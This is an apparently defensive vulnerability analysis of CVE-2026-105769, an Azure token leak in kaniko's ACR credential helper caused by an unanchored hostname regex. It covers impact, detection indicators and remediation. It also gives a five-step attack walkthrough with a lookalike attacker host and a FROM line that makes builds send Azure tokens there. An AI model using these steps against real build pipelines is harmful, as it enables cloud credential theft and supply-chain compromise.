CVE-2026-105769: 
vulnerability analysis and mitigation

CVE-2026-105769 is a credential/token disclosure vulnerability in kaniko (Chainguard fork) that allows an attacker-controlled registry host to receive a live Microsoft Entra ID (Azure AD) access token for Azure Resource Manager. The flaw affects all versions of github.com/chainguard-dev/kaniko before 1.25.20 and stems from the bundled Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env) using an unanchored regular expression to identify ACR hosts. It was reported by Martin Zihlmann (@mzihlmann) of osscontainertools on August 6, 2026, fixed in the upstream Go vulnerability database as GO-2026-6225 on August 18, 2026, and publicly disclosed as CVE-2026-105769 on November 2, 2026. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, Feedly).

The root cause is an unanchored regular expression (.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us) in pkg/credhelper/helper.go of the ACR credential helper, classified as CWE-346 (Origin Validation Error) and CWE-522 (Insufficiently Protected Credentials). Because the regex is not anchored with ^ and $, any hostname that merely contains .azurecr.io (or the other suffixes) passes the check — for example, x.azurecr.io.attacker.com. kaniko consults this helper for any registry that has no explicit credentials in the Docker config and is not a Google or Amazon ECR registry; it does so before contacting the registry, so the attacker's server does not need to request authentication. When a Dockerfile contains FROM x.azurecr.io.attacker.com/img or a COPY --from=<image> referencing such a host, the helper acquires an Azure identity token (from service principal environment variables, a federated workload identity token, or the Azure Instance Metadata Service) and HTTP POSTs it to https://<host>/oauth2/exchange, sending the token both as an Authorization: Bearer header and as the access_token form field (GitHub Advisory, Upstream Issue).

A successful attack results in the attacker receiving a live Azure Resource Manager access token, which remains valid until it expires — rotating the identity's credentials does not revoke already-issued tokens. With this token, the attacker can perform any action permitted by the build identity's Azure role assignments, including reading secrets from Azure Key Vault, listing storage account keys, and pushing malicious images to any ACR registry the identity can access (AcrPush or higher). The scope of impact extends beyond the kaniko build environment to the broader Azure tenant, enabling lateral movement across cloud resources and potential supply-chain compromise via poisoned container images (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. However, exploitation requires only that an attacker control a lookalike registry hostname and that a victim build a Dockerfile referencing an image from that host — no RUN instruction, no push, and no authentication challenge from the attacker's server are needed, making the attack low-complexity once the malicious image reference is introduced into a build pipeline (GitHub Advisory, Upstream Issue).

1. Set up attacker-controlled server: Register a domain such as attacker.com and configure a subdomain like x.azurecr.io.attacker.com with a TLS certificate. Deploy an HTTP server at that host that listens on /oauth2/exchange and logs all incoming POST bodies and Authorization headers.
2. Craft a malicious Dockerfile: Create a Dockerfile with a FROM instruction referencing the lookalike host, e.g., FROM x.azurecr.io.attacker.com/img:latest. No RUN instruction or push step is required.
3. Introduce the Dockerfile into a target build pipeline: Submit the malicious Dockerfile to a CI/CD system or build environment running a vulnerable version of kaniko (< 1.25.20) that has access to an Azure identity (service principal, workload identity, or managed identity).
4. Token capture: When kaniko processes the FROM line, it consults the ACR credential helper, which matches the lookalike hostname via the unanchored regex, acquires an Azure AD token from the build environment (via environment variables or IMDS at 169.254.169.254), and POSTs it to https://x.azurecr.io.attacker.com/oauth2/exchange. The attacker's server receives the token in both the Authorization: Bearer header and the access_token form field.
5. Abuse the token: Use the captured token against Azure Resource Manager APIs with the identity's role assignments. Optionally, POST the token to the /oauth2/exchange endpoint of a legitimate ACR registry to obtain registry credentials and push malicious images (GitHub Advisory, Upstream Issue).

• Network: Outbound HTTPS POST requests from kaniko build pods to unexpected hostnames containing .azurecr.io as a non-terminal label (e.g., *.azurecr.io.*.com); outbound connections to 169.254.169.254 (Azure IMDS) from build pods during builds that do not use ACR.
• Logs: Kaniko build logs referencing image pulls from hostnames matching the pattern *.azurecr.io.<external-domain>; Azure Entra ID sign-in logs showing token issuance to the build identity followed by API calls from unexpected IP addresses.
• Azure Activity Logs: Unexpected Azure Resource Manager API calls (e.g., key listings, role assignment reads, ACR push operations) from the build identity's service principal, especially from IP addresses not associated with the build infrastructure; ACR push events from unknown sources during or shortly after build windows.
• File System / Environment: Presence of AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, or MSI_ENDPOINT in kaniko container environments running builds from untrusted Dockerfiles (GitHub Advisory).

Primary remediation: Upgrade github.com/chainguard-dev/kaniko to version 1.25.20 or later. This release replaces the vulnerable upstream docker-credential-acr-env module with a patched in-tree copy (third_party/docker-credential-acr-env) that uses a strict, anchored, label-aware hostname check and returns credentials not found for any non-ACR host (Release v1.25.20, Fix PR #495).

Workarounds if upgrade is not immediately possible:

• Remove Azure credentials (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, MSI_ENDPOINT, MSI_SECRET) from the build environment and block network access to the Instance Metadata Service (169.254.169.254) from build pods.
• Set AZURE_ENVIRONMENT=none in the kaniko container to prevent the helper from requesting any token.
• Replace any global "credsStore": "acr-env" in Docker config with per-host credHelpers entries scoped to your specific ACR registries.
• If untrusted Dockerfiles were built with an Azure identity available, treat all tokens issued to that identity during those builds as compromised, review Entra ID sign-in logs and Azure activity logs, and rotate any secrets the identity could access (GitHub Advisory).

The vulnerability was reported by Martin Zihlmann (@mzihlmann) of osscontainertools, who also filed the upstream issue against the unmaintained chrismellard/docker-credential-acr-env module and noted that the upstream has no fix (Upstream Issue). Coverage appeared on The Hacker Wire shortly after disclosure (The Hacker Wire), and the vulnerability was noted on Mastodon and Bluesky by security community accounts. The Chainguard team responded promptly with a patched release and a detailed advisory crediting the reporter and remediation developers.